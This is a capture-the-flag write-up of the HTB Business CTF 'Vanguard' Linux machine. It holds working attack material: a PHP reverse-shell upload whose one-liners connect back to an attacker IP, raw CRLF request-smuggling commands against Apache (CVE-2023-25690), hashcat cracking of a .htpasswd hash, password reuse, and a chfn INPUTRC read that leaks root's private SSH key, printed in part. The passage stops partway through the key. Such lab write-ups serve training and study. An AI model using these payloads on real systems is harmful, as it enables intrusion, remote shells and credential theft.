Vanguard
Vanguard is a Linux machine from the HTB Business CTF 2023. The path to root chains a web upload, an HTTP request smuggling vulnerability in Apache (CVE-2023-25690) to bypass proxy access controls and reach an internal back-end, password reuse from a cracked .htpasswd hash, and finally a SUID chfn arbitrary-file-read flaw (CVE-2022-0563) to leak root’s SSH private key.
Recon
We begin with a full TCP port scan using nmap, running default scripts and version detection. Only SSH and HTTP are reachable; port 5355 (LLMNR) is filtered.
Nmap scan report for vanguard.htb (10.129.251.88)
Host is up (0.018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.3 (protocol 2.0)
| ssh-hostkey:
| 256 8e:bc:b2:f4:1b:e8:62:ac:bd:63:97:80:25:a1:7e:fe (ECDSA)
|_ 256 c0:50:00:d3:2e:a4:76:b0:da:52:f3:43:ba:ef:ec:11 (ED25519)
80/tcp open http Apache httpd 2.4.55 ((Unix) PHP/8.2.8)
|_http-title: Vanguard
|_http-server-header: Apache/2.4.55 (Unix) PHP/8.2.8
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
5355/tcp filtered llmnr
The web server is Apache 2.4.55 with PHP 8.2.8 — note this exact version, as it is in the vulnerable range for CVE-2023-25690.
We run nikto against the web server to surface low-hanging configuration issues. It confirms the Apache/PHP versions, flags mod_negotiation MultiViews (file-name brute forcing), directory indexing on /icons/, an active TRACE method, and an exposed LICENSE.txt.
+ Server: Apache/2.4.55 (Unix) PHP/8.2.8
+ /: Retrieved x-powered-by header: PHP/8.2.8.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
w+ /icons/: Directory indexing found.
+ /LICENSE.txt: License file found may identify site software.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 7962 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2023-07-14 14:23:43 (GMT-4) (315 seconds)
Web Enumeration
We fuzz for directories and files with gobuster using the common wordlist. The results reveal an /uploads path protected by HTTP Basic auth (401) and the Apache /server-info handler being exposed.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://vanguard.htb' -t 100
/css (Status: 301) [Size: 232] [--> http://vanguard.htb/css/]
/index.php (Status: 200) [Size: 15698]
/js (Status: 301) [Size: 231] [--> http://vanguard.htb/js/]
/server-info (Status: 200) [Size: 83173]
/uploads (Status: 401) [Size: 1226]
/.htpasswd (Status: 403) [Size: 982]
/.htaccess (Status: 403) [Size: 982]
/.hta (Status: 403) [Size: 982]
/~bin (Status: 403) [Size: 982]
/~ftp (Status: 403) [Size: 982]
/~root (Status: 403) [Size: 982]
/~nobody (Status: 403) [Size: 982]
/~mail (Status: 403) [Size: 982]
/lib (Status: 301) [Size: 232] [--> http://vanguard.htb/lib/]
The site is a themed front page for a “Martian colony” project. The home page and an upload page are the main user-facing entry points.
- Home page: http://vanguard.htb
- Upload Blueprints — “Contribute to the mission of creating a democratic Martian colony by uploading your own blueprints and ideas”: http://vanguard.htb/upload.php
- About page: http://vanguard.htb/about.php
The About page lists the colony’s “leaders”:
Draven Blackthorn - Supreme Chancellor and Chief Strategist
Seraphina Blackwood - Minister of Intelligence and Surveillance
Maximus Stormrider - Minister of Military Defense and Security
Aurora Starfire - Minister of Propaganda and Public Affairs
The leader pages are served from a /leaders/<id> path rather than a query string. Note that the path-style route works but the query-string variant does not — a hint that /leaders/ is reverse-proxied to a back-end.
http://vanguard.htb/leaders/1 => 200, more information on Draven Blackthorn
http://vanguard.htb/leaders.php?id=1 => 404




Apache server-info Disclosure
The exposed mod_info handler at /server-info leaks the complete Apache runtime configuration, including loaded modules, the on-disk config file paths, and — most importantly — the virtual-host and proxy rules.
- Apache Server Information: http://vanguard.htb/server-info
- Sub-views: Configuration Files, Server Settings, Module List, Active Hooks, Available Providers
The Server Settings section confirms the version and document root layout.
Server Version: Apache/2.4.55 (Unix) PHP/8.2.8
Server Built: Jan 18 2023 19:03:59
Server loaded APR Version: 1.7.3
Compiled with APR Version: 1.7.0
Server loaded APU Version: 1.6.3
Compiled with APU Version: 1.6.1
Server loaded PCRE Version: 10.42 2022-12-11
Compiled with PCRE Version: 10.40 2022-04-14
Module Magic Number: 20120211:126
Hostname/port: vanguard.htb:80
Timeouts: connection: 60 keep-alive: 5
MPM Name: prefork
MPM Information: Max Daemons: 250 Threaded: no Forked: yes
Server Architecture: 64-bit
Server Root: /etc/httpd
Config File: /etc/httpd/conf/httpd.conf
Server Built With: -D APR_HAS_SENDFILE -D APR_HAS_MMAP -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled) -D APR_USE_PROC_PTHREAD_SERIALIZE -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT -D APR_HAS_OTHER_CHILD -D AP_HAVE_RELIABLE_PIPED_LOGS -D HTTPD_ROOT="/etc/httpd" -D SUEXEC_BIN="/usr/bin/suexec" -D DEFAULT_PIDLOG="/run/httpd/httpd.pid" -D DEFAULT_SCOREBOARD="logs/apache_runtime_status" -D DEFAULT_ERRORLOG="logs/error_log" -D AP_TYPES_CONFIG_FILE="conf/mime.types" -D SERVER_CONFIG_FILE="conf/httpd.conf"
The Listen directives reveal a second, loopback-only listener on 127.0.0.1:8080 in addition to the public port 80.
In file: /etc/httpd/conf/httpd.conf
53: Listen 80
54: Listen 127.0.0.1:8080
In file: /etc/httpd/conf/extra/httpd-mpm.conf
29: StartServers 5
30: MinSpareServers 5
31: MaxSpareServers 10
32: MaxRequestWorkers 250
The mod_rewrite section is the key finding. The public front-end uses a RewriteRule with the [P] (proxy) flag that captures the leader id from the URL and re-inserts it into a proxied request to the internal back-end on 127.0.0.1:8080. This “match a portion of the request target and re-insert it into the proxied target” pattern is exactly the configuration affected by CVE-2023-25690.
In file: /etc/httpd/conf/httpd.conf
556: <VirtualHost *:80>
561: RewriteEngine on
562: RewriteRule "^/leaders/(.*)" "http://127.0.0.1:8080/leader.php?id=$1" [P]
565: RewriteCond %{HTTP_HOST} !^vanguard.htb$
566: RewriteRule ^(.*)$ http://vanguard.htb$1 [R=permanent,L]
: </VirtualHost>
The mod_proxy and mod_authn_* sections show that /uploads* is reverse-proxied to the back-end’s /uploads/ and protected by HTTP Basic auth using /etc/httpd/.htpasswd. In other words, uploads land on the internal :8080 back-end, and direct access to them on the public host requires credentials.
In file: /etc/httpd/conf/httpd.conf
556: <VirtualHost *:80>
563: ProxyPassReverse "/leaders/" "http://127.0.0.1:8080/"
568: <Location /uploads*>
569: AuthType Basic
570: AuthName "Restricted Content"
571: AuthUserFile /etc/httpd/.htpasswd
572: Require valid-user
573: ProxyPass "http://127.0.0.1:8080/uploads/"
574: ProxyPassReverse "http://127.0.0.1:8080/uploads/"
: </Location>
: </VirtualHost>
The two virtual hosts are defined as an internal backend on 127.0.0.1:8080 and the public frontend on *:80, each with its own document root. The internal host serves /srv/http/internal, which is where uploaded files are written.
In file: /etc/httpd/conf/httpd.conf
549: <VirtualHost 127.0.0.1:8080>
551: ServerName backend
552: DocumentRoot /srv/http/internal
: </VirtualHost>
556: <VirtualHost *:80>
557: ServerName frontend
558: DocumentRoot /srv/http/vanguard
559: ServerAdmin [email protected]
576: <Location /server-info>
577: SetHandler server-info
: </Location>
: </VirtualHost>
For completeness, /server-info also dumps every loaded module’s directives and current configuration. The full reference output is preserved below.
Loaded Modules:
core.c, http_core.c, mod_access_compat.c, mod_alias.c, mod_auth_basic.c,
mod_authn_core.c, mod_authn_file.c, mod_authz_core.c, mod_authz_groupfile.c,
mod_authz_host.c, mod_authz_user.c, mod_autoindex.c, mod_dir.c, mod_env.c,
mod_filter.c, mod_headers.c, mod_include.c, mod_info.c, mod_log_config.c,
mod_mime.c, mod_negotiation.c, mod_php.c, mod_proxy.c, mod_proxy_http.c,
mod_reqtimeout.c, mod_rewrite.c, mod_setenvif.c, mod_slotmem_shm.c, mod_so.c,
mod_status.c, mod_unixd.c, mod_userdir.c, mod_version.c, prefork.c
Providers:
authn (version 0): file
authz (version 0): all, env, expr, file-group, forward-dns, group, host, ip,
local, method, user, valid-user
slotmem (version 0): shm
--- Selected current configuration values from /etc/httpd ---
httpd.conf:
225: ServerAdmin [email protected]
241: <Directory />
243: Require all denied
258: DocumentRoot "/srv/http"
259: <Directory "/srv/http">
272: Options FollowSymLinks
279: AllowOverride None
284: Require all granted
292: DirectoryIndex index.php
299: <Files ".ht*">
300: Require all denied
310: ErrorLog "/var/log/httpd/error_log"
317: LogLevel warn
324: LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
325: LogFormat "%h %l %u %t \"%r\" %>s %b" common
339: CustomLog "/var/log/httpd/access_log" common
375: ScriptAlias /cgi-bin/ "/srv/http/cgi-bin/"
391: <Directory "/srv/http/cgi-bin">
392: AllowOverride None
393: Options None
394: Require all granted
403: RequestHeader unset Proxy early
411: TypesConfig conf/mime.types
428: AddType application/x-compress .Z
429: AddType application/x-gzip .gz .tgz
546: AddHandler php-script .php
httpd-mpm.conf:
12: PidFile "/run/httpd/httpd.pid"
33: MaxConnectionsPerChild 0
115: MaxMemFree 2048
httpd-default.conf:
10: Timeout 60
16: KeepAlive On
23: MaxKeepAliveRequests 100
29: KeepAliveTimeout 5
38: UseCanonicalName Off
45: AccessFileName .htaccess
55: ServerTokens Full
65: ServerSignature Off
75: HostnameLookups Off
89: RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500
httpd-multilang-errordoc.conf:
23: Alias /error/ "/usr/share/httpd/error/"
25: <Directory "/usr/share/httpd/error">
28: AddOutputFilter Includes html
29: AddHandler type-map var
30: Require all granted
31: LanguagePriority en cs de es fr it ja ko nl pl pt-br ro sv tr
32: ForceLanguagePriority Prefer Fallback
httpd-autoindex.conf:
16: IndexOptions FancyIndexing HTMLTable VersionSort
21: Alias /icons/ "/usr/share/httpd/icons/"
23: <Directory "/usr/share/httpd/icons">
24: Options Indexes MultiViews
26: Require all granted
httpd-userdir.conf:
10: UserDir public_html
16: <Directory "/home/*/public_html">
17: AllowOverride FileInfo AuthConfig Limit Indexes
18: Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
19: Require method GET POST OPTIONS
mod_unixd:
203: User http
204: Group http
Exploitation — CVE-2023-25690 HTTP Request Smuggling
CVE-2023-25690 is an HTTP request smuggling flaw affecting Apache HTTP Server 2.4.0 through 2.4.55 when mod_proxy is combined with a RewriteRule/ProxyPassMatch that substitutes user-controlled, non-specific request-target data into the proxied request. Vanguard’s RewriteRule "^/leaders/(.*)" "http://127.0.0.1:8080/leader.php?id=$1" [P] matches this pattern exactly. By injecting CRLF (%0d%0a) sequences into the captured group, we can split a single front-end request into two requests sent to the back-end — letting us reach internal endpoints (such as the auth-protected /uploads/) without supplying the Basic-auth credentials.
- Reference PoC: https://github.com/dhmosfunk/CVE-2023-25690-POC
The advisory describes the affected configuration shape as follows.
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning. Users are recommended to update to at least version 2.4.56 of Apache HTTP Server.
The plan is two-fold: first upload a PHP reverse shell named rev.php through the public upload form (which writes it into the back-end’s /srv/http/internal/uploads/), then use the smuggling primitive to request /uploads/rev.php on the internal back-end and trigger code execution.
We first upload the reverse shell payload via POST /upload.php. The upload endpoint will not let us overwrite an existing file, so a fresh filename is used. The PHP payload tries several shell techniques in sequence and finishes with id.
POST /upload.php HTTP/1.1
Host: vanguard.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------28507332511926759895603037535
Content-Length: 1278
Origin: http://vanguard.htb
Connection: close
Referer: http://vanguard.htb/upload.php
Upgrade-Insecure-Requests: 1
-----------------------------28507332511926759895603037535
Content-Disposition: form-data; name="file"; filename="rev.php"
Content-Type: application/x-php
<?php
echo 'running shell';
$ip='10.10.14.79';
$port='4444';
$reverse_shells = array(
'/bin/bash -i > /dev/tcp/'.$ip.'/'.$port.' 0<&1 2>&1',
'0<&196;exec 196<>/dev/tcp/'.$ip.'/'.$port.'; /bin/sh <&196 >&196 2>&196',
'/usr/bin/nc '.$ip.' '.$port.' -e /bin/bash',
'nc.exe -nv '.$ip.' '.$port.' -e cmd.exe',
"/usr/bin/perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"".$ip.":".$port."\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
'rm -f /tmp/p; mknod /tmp/p p && telnet '.$ip.' '.$port.' 0/tmp/p',
'perl -e \'use Socket;$i="'.$ip.'";$p='.$port.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''
);
foreach ($reverse_shells as $reverse_shell) {
try {echo system($reverse_shell);} catch (Exception $e) {echo $e;}
try {shell_exec($reverse_shell);} catch (Exception $e) {echo $e;}
try {exec($reverse_shell);} catch (Exception $e) {echo $e;}
}
system('id');
?>
-----------------------------28507332511926759895603037535--
Trigger the Payload via Request Smuggling
With the listener running, we send the smuggled request. The captured group for the /leaders/ rewrite contains URL-encoded CRLFs that terminate the first proxied request and begin a second one targeting /uploads/rev.php on the internal back-end, executing our shell. The general form of the injection is:
echo "GET /leaders/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/uploads/cmd.php HTTP/1.1\r\nUser-Agent: nc/0.0.1\r\nHost: 10.129.234.95\r\nAccept: */*\r\n\r\n" | nc vanguard.htb 80
The concrete request used against Vanguard targets the uploaded rev.php:
echo "GET /leaders/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/uploads/rev.php HTTP/1.1\r\nHost: vanguard.htb\r\nAccept: */*\r\n\r\n" | nc vanguard.htb 80
The raw smuggled request as it appears on the wire:
GET /leaders/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/uploads/rev.php HTTP/1.1
Host: vanguard.htb
Accept: */*
Our nc listener catches the connection back, giving us a shell as the http web-server user.
nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.251.192:53406.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
[http@vanguard uploads]$
We enumerate the web root from the http shell. Alongside the public vanguard and internal document roots, the file listing shows our rev.php landed in ./internal/uploads/, and the internal/leaders/ PHP back-end files are present.
[http@vanguard http]$ find . -ls
131078 4 drwxr-xr-x 4 root root 4096 Jul 5 08:01 .
131079 4 drwxr-xr-x 7 root root 4096 Jul 5 08:15 ./vanguard
131234 12 -rwxr-xr-x 1 root root 8494 Jul 5 07:51 ./vanguard/upload.php
131083 12 -rwxr-xr-x 1 root root 8929 Jul 6 07:40 ./vanguard/about.php
131080 16 -rwxr-xr-x 1 root root 15698 Jul 5 07:42 ./vanguard/index.php
131235 12 -rw------- 1 root root 8921 Jul 5 08:15 ./vanguard/about.php.save
131081 4 drwxr-xr-x 4 root root 4096 Jul 5 09:51 ./internal
131082 4 drwxr-xr-x 2 root root 4096 Jul 5 07:40 ./internal/leaders
131102 8 -rwxr-xr-x 1 root root 6060 Jul 6 07:39 ./internal/leaders/leader3.php
131103 8 -rwxr-xr-x 1 root root 6095 Jul 6 07:39 ./internal/leaders/leader4.php
131101 8 -rwxr-xr-x 1 root root 6114 Jul 6 07:39 ./internal/leaders/leader2.php
131084 8 -rwxr-xr-x 1 root root 6170 Jul 6 07:34 ./internal/leaders/leader1.php
131524 4 drwxrwxrwx 2 root root 4096 Jul 17 22:04 ./internal/uploads
131236 4 -rw-r--r-- 1 http http 1054 Jul 17 22:04 ./internal/uploads/rev.php
131241 4 -rw-r--r-- 1 root root 790 Jul 5 04:29 ./internal/leader.php
For reference, the full LinPEAS output collected as http is available here.
Lateral Movement — .htpasswd Password Reuse (http → maximus)
LinPEAS flags the world-readable Apache .htpasswd file. It contains a single APR1-hashed credential for maximus-webadmin.
╔══════════╣ Analyzing Htpasswd Files (limit 70)
-rw-r--r-- 1 root root 55 Jul 5 10:56 /etc/httpd/.htpasswd
maximus-webadmin:$apr1$4uK/teeQ$8gAFoYWl7ba5Vy7Bjy3nK/
We identify the hash type with hashid, confirming it is an Apache MD5 (APR1) hash — hashcat mode 1600.
echo -n '$apr1$4uK/teeQ$8gAFoYWl7ba5Vy7Bjy3nK/' | hashid -
Analyzing '$apr1$4uK/teeQ$8gAFoYWl7ba5Vy7Bjy3nK/'
[+] MD5(APR) [Hashcat Mode: 1600]
[+] Apache MD5 [Hashcat Mode: 1600]
[+] md5apr1 [Hashcat Mode: 1600]
We crack the hash with hashcat mode 1600 against rockyou. It recovers the password 100%snoopy.
hashcat --user -m 1600 --status -a 0 hash.txt /usr/share/wordlists/rockyou.txt
maximus-webadmin:$apr1$4uK/teeQ$8gAFoYWl7ba5Vy7Bjy3nK/:100%snoopy
The web admin’s password is reused for the system user maximus. We log in over SSH with sshpass.
sshpass -p '100%snoopy' ssh [email protected]
Inside maximus’s home directory we can read user.txt.
[maximus@vanguard ~]$ ls -la
total 24
drwx------ 2 maximus 1002 4096 Jul 5 09:41 .
drwxr-xr-x 3 root root 4096 Jul 5 06:26 ..
lrwxrwxrwx 1 maximus sysupdate 9 Jul 5 08:08 .bash_history -> /dev/null
-rw-r--r-- 1 maximus maximus 21 May 21 12:56 .bash_logout
-rw-r--r-- 1 maximus maximus 57 May 21 12:56 .bash_profile
-rw-r--r-- 1 maximus maximus 172 May 21 12:56 .bashrc
-rw-r----- 1 root maximus 44 Jul 7 07:06 user.txt
[maximus@vanguard ~]$ cat user.txt
HTB{h3y_l0ok_aT_mE_Im_a_bLu3pR1nT_sMUggL3r}
Privilege Escalation — CVE-2022-0563 chfn Arbitrary File Read
CVE-2022-0563 affects the util-linux chfn/chsh utilities when compiled with GNU Readline support. Readline honors the INPUTRC environment variable as the path to its config file; when it cannot parse a line of that file, it prints an error message that echoes the offending line’s contents. Because chfn is SUID root, an unprivileged user can point INPUTRC at a root-owned file and read it back through the parse-error messages. The flaw affects util-linux versions prior to 2.37.4.
We confirm the target is vulnerable: util-linux is 2.37.3, chfn is SUID root, and it is linked against libreadline.
[maximus@vanguard ~]$ pacman -Qi util-linux
Name : util-linux
Version : 2.37.3-2
[maximus@vanguard ~]$ find / -type f -perm -4000 2>/dev/null | grep chfn
/usr/bin/chfn
[maximus@vanguard ~]$ ldd /usr/bin/chfn | grep readline
libreadline.so.8 => /usr/lib/libreadline.so.8 (0x00007f0f9055c000)
Read Root’s Private SSH Key
Following the Trail of Bits write-up of the bug, we set INPUTRC to root’s private SSH key and run chfn. Readline fails to parse each line of the key and echoes it back in the error output, leaking the entire key. (chfn prompts for the user’s password, which is 100%snoopy.)
[maximus@vanguard ~]$ INPUTRC=/root/.ssh/id_rsa chfn
Changing finger information for user.
Password: 100%snoopy
readline: /root/.ssh/id_rsa: line 1: -----BEGIN: unknown key modifier
readline: /root/.ssh/id_rsa: line 2: b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: no key sequence terminator
readline: /root/.ssh/id_rsa: line 3: NhAAAAAwEAAQAAAYEAgtSyNnkkyB8bXV1joyjaDUF1DkZtKDTLlSyLwFIqqmdjse6fTaTP: no key sequence terminator
readline: /root/.ssh/id_rsa: line 4: yUm/Gsq5x1vGCjS4bqjMw5J93drKmxTUTRUDjKXpwqtIGmqr+BpEx61fp1whhMIkAb/tgD: no key sequence terminator
readline: /root/.ssh/id_rsa: line 5: tIGBECaLRD1rdVxxBEElaMxY1s0VI/yOQgYxpDA0qyXvEEGMRVUWNi+xuDhkLmVdtHNCRa: no key sequence terminator
readline: /root/.ssh/id_rsa: line 6: 92fmC3wF7IvNct2ii106Vw5XmyQQl16/nKKxav4EyHTykYlj4abuRSJiVUJ1k5kwZ91no3: no key sequence terminator
readline: /root/.ssh/id_rsa: line 7: 1uUZIq6G9B2tQcCggKjpijyI2EnxlHk0NkiyvxFLiQKB4vHZ2/iU+aTLR2EeFg9wq7Cfyf: no key sequence terminator
readline: /root/.ssh/id_rsa: line 8: Ygvdr1SeIT4GGPt4rrmTEiHQet08XCCBl0QwCol4ziYqAH9S0O70khN/T7SoJIKutMaFaU: no key sequence terminator
readline: /root/.ssh/id_rsa: line 9: wAso3F+J3jKQ1h/cOsFGldiGoH9eXURGqb/T1nW6DZ+KJZpa4ZRQ/Q1yeLFgQVyHMx7p2+: no key sequence terminator
readline: /root/.ssh/id_rsa: line 10: Arab9OYMEZXbYnaXgV3VLla85H2yPwbK1bXcuQyjAAAFgLM6YyezOmMnAAAAB3NzaC1yc2: no key sequence terminator
readline: /root/.ssh/id_rsa: line 11: EAAAGBAILUsjZ5JMgfG11dY6Mo2g1BdQ5GbSg0y5Usi8BSKqpnY7Hun02kz8lJvxrKucdb: no key sequence terminator
readline: /root/.ssh/id_rsa: line 12: xgo0uG6ozMOSfd3aypsU1E0VA4yl6cKrSBpqq/gaRMetX6dcIYTCJAG/7YA7SBgRAmi0Q9: no key sequence terminator
readline: /root/.ssh/id_rsa: line 13: a3VccQRBJWjMWNbNFSP8jkIGMaQwNKsl7xBBjEVVFjYvsbg4ZC5lXbRzQkWvdn5gt8BeyL: no key sequence terminator
readline: /root/.ssh/id_rsa: line 14: zXLdootdOlcOV5skEJdev5yisWr+BMh08pGJY+Gm7kUiYlVCdZOZMGfdZ6N9blGSKuhvQd: no key sequence terminator
readline: /root/.ssh/id_rsa: line 15: rUHAoICo6Yo8iNhJ8ZR5NDZIsr8RS4kCgeLx2dv4lPmky0dhHhYPcKuwn8n2IL3a9UniE+: no key sequence terminator
readline: /root/.ssh/id_rsa: line 16: Bhj7eK65kxIh0HrdPFwggZdEMAqJeM4mKgB/UtDu9JITf0+0qCSCrrTGhWlMALKNxfid4y: no key sequence terminator
readline: /root/.ssh/id_rsa: line 17: kNYf3DrBRpXYhqB/Xl1ERqm/09Z1ug2fiiWaWuGUUP0NcnixYEFchzMe6dvgK2m/TmDBGV: no key sequence terminator
readline: /root/.ssh/id_rsa: line 18: 22J2l4Fd1S5WvOR9sj8GytW13LkMowAAAAMBAAEAAAGAEkqVH/M6ppVdc2WQffSYMoI++1: no key sequence terminator
readline: /root/.ssh/id_rsa: line 19: /yovcT/3yFjWiaI847V1p6q0BU91oi0ybEvTqiKuB0E1nw8ZGUR2WaLf8bhNYLSP6+pUON: no key sequence terminator
readline: /root/.ssh/id_rsa: line 20: MSROJsHaxpABb5n8lbMO6wUKZNiPm83E/ck2MtmEWfB26UQbKljmKIh3TSmX3ZiDsKd2M2: no key sequence terminator
readline: /root/.ssh/id_rsa: line 21: U++AzQYNtPBgyIDEgOLAgcTGNI1I480MjmNcwrTS6aKyHoUNjl0VWZfDr4TyNFQCWDmwMU: no key sequence terminator
readline: /root/.ssh/id_rsa: line 22: EYTukf3kvNsHJHnGNnyUNMSnXPJqGukmk0/pLuwVHTwqlSDr+CT+OJY3btFmoQ7UHwtoTB: no key sequence terminator
readline: /root/.ssh/id_rsa: line 23: c3uqzTlUN34cHbJPCBFz4+gb6feoOLzJR8UFo/dallmCjpyCzCMRZet9EOIVu6KIK8HAoe: no key sequence terminator
readline: /root/.ssh/id_rsa: line 24: 2lZcNeiqryXvW0Lcn+GUUOkWgnMOCTRgWVg2OeDotlakE70xi+NF11xhl1OjHFU163OxZc: no key sequence terminator
readline: /root/.ssh/id_rsa: line 25: MLuYR2fJeMX3iXLFi2gaH0xFrtZkrnTWChkVPcJ/iSW2xG6//qgUitg+y3hDFm2AgBAAAA: no key sequence terminator
readline: /root/.ssh/id_rsa: line 26: wQCJsJoKAmW/we/qF/sEotDt4uphXdzAx9vjSAdtjfP8fq++laQHevvqx8uSss9yVLhNNd: no key sequence terminator
readline: /root/.ssh/id_rsa: line 27: NXhVp41MaMD4MSIQX8RIN5KgOlIUM9u5gjKV5auleAqooeqmIqSwIolF5NfGNmUUCgBPvL: no key sequence terminator
readline: /root/.ssh/id_rsa: line 28: farHMq9uDogervebRSj/EXwkhTQ5vg4PrlAhJ4WnfTFxZdvFYis9j9XuziF5URmsxF1h8u: no key sequence terminator
readline: /root/.ssh/id_rsa: line 29: V6jRjubec23Oj/Jmivq2exBkOpQPygYm2353v8u4xlqPbubJAAAADBALftb6nVeY6BVPN2: no key sequence terminator
readline: /root/.ssh/id_rsa: line 30: YvEJum6ZtmccO6dbwVLkQW8Qcyvaj7PhUXjLcluhHt+7dZuS/ac0IU+RK23q7O+nXxZzDE: no key sequence terminator
readline: /root/.ssh/id_rsa: line 31: 04H4TsM5lAT9nbdvRFSHbhrd+qLwb/Rr3VThOIhb88kJnKIoxni3NxkP1SKzZ30DJfg7R+: no key sequence terminator
readline: /root/.ssh/id_rsa: line 32: jUgtMQWoVRRf2G0zEWdQrJoDBx7MV1ujPzoI+OyX26Fuoob/L9NXbbdcNhKVag+BXfYa3a: no key sequence terminator
readline: /root/.ssh/id_rsa: line 33: ZiziKPSe5dH8wn3u1/uS/PQog/7ac/IQAAAMEAthjn1l2NRkDGjwRLIKDX9Yvpk1idEram: no key sequence terminator
readline: /root/.ssh/id_rsa: line 34: wVq5HIBs1VSptTGjWv8vSz9IsBZPKbTHgBtZEUp2RzaeEz1HA0RDnI6MbfaqqmB4+3HegN: no key sequence terminator
readline: /root/.ssh/id_rsa: line 35: dJoI7UGMdtrE52WENK9oEMgLjuLqh5Cp2BpOXvTgcRwVBNNxkhZgGxwm1hfjv663Awgz0G: no key sequence terminator
readline: /root/.ssh/id_rsa: line 36: NDhejAJo6WKLqP97CgX3BYYlxJ2m9ukjsMveduzu3ka22+EeUp0qo4XSp+4EmLQNN6xNF9: no key sequence terminator
readline: /root/.ssh/id_rsa: line 37: Wf5ae3NyhwJadDAAAACXJvb3RAYXJjaAE=: no key sequence terminator
readline: /root/.ssh/id_rsa: line 38: -----END: unknown key modifier
We reassemble the leaked base64 body back into a valid OpenSSH private key by re-adding the header/footer (here using xsel to pull the captured clipboard text and stripping the readline: prefixes).
echo -e "-----BEGIN OPENSSH PRIVATE KEY-----\n$(xsel -bo | awk -F': ' '{print $4}' | sed '1d;$d')\n-----END OPENSSH PRIVATE KEY-----" > root_key
cat root_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAgtSyNnkkyB8bXV1joyjaDUF1DkZtKDTLlSyLwFIqqmdjse6fTaTP
yUm/Gsq5x1vGCjS4bqjMw5J93drKmxTUTRUDjKXpwqtIGmqr+BpEx61fp1whhMIkAb/tgD
tIGBECaLRD1rdVxxBEElaMxY1s0VI/yOQgYxpDA0qyXvEEGMRVUWNi+xuDhkLmVdtHNCRa
92fmC3wF7IvNct2ii106Vw5XmyQQl16/nKKxav4EyHTykYlj4abuRSJiVUJ1k5kwZ91no3
1uUZIq6G9B2tQcCggKjpijyI2EnxlHk0NkiyvxFLiQKB4vHZ2/iU+aTLR2EeFg9wq7Cfyf
Ygvdr1SeIT4GGPt4rrmTEiHQet08XCCBl0QwCol4ziYqAH9S0O70khN/T7SoJIKutMaFaU
wAso3F+J3jKQ1h/cOsFGldiGoH9eXURGqb/T1nW6DZ+KJZpa4ZRQ/Q1yeLFgQVyHMx7p2+
Arab9OYMEZXbYnaXgV3VLla85H2yPwbK1bXcuQyjAAAFgLM6YyezOmMnAAAAB3NzaC1yc2
EAAAGBAILUsjZ5JMgfG11dY6Mo2g1BdQ5GbSg0y5Usi8BSKqpnY7Hun02kz8lJvxrKucdb
